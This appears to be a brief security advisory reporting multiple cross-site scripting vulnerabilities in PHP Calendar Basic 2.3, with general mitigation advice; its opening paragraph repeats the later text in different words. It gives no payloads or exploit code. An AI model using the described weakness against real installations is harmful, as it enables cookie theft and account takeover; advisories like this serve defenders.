PHP Calendar Basic Multiple Cross-Site Scripting Vulnerabilities

The PHP Calendar Basic is prone to multiple cross-site scripting vulnerabilities due to improper sanitization of user-supplied input. An attacker can exploit these vulnerabilities to execute arbitrary script code in the browser of a victim user, potentially stealing authentication credentials and launching further attacks.

Mitigation:

To mitigate these vulnerabilities, it is recommended to properly sanitize and validate user-supplied input before using it in any output context. Implementing a robust input validation mechanism and using output encoding techniques can help prevent XSS attacks.

PHP Calendar Basic is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

PHP Calendar Basic 2.3 is vulnerable; other versions may also be affected.
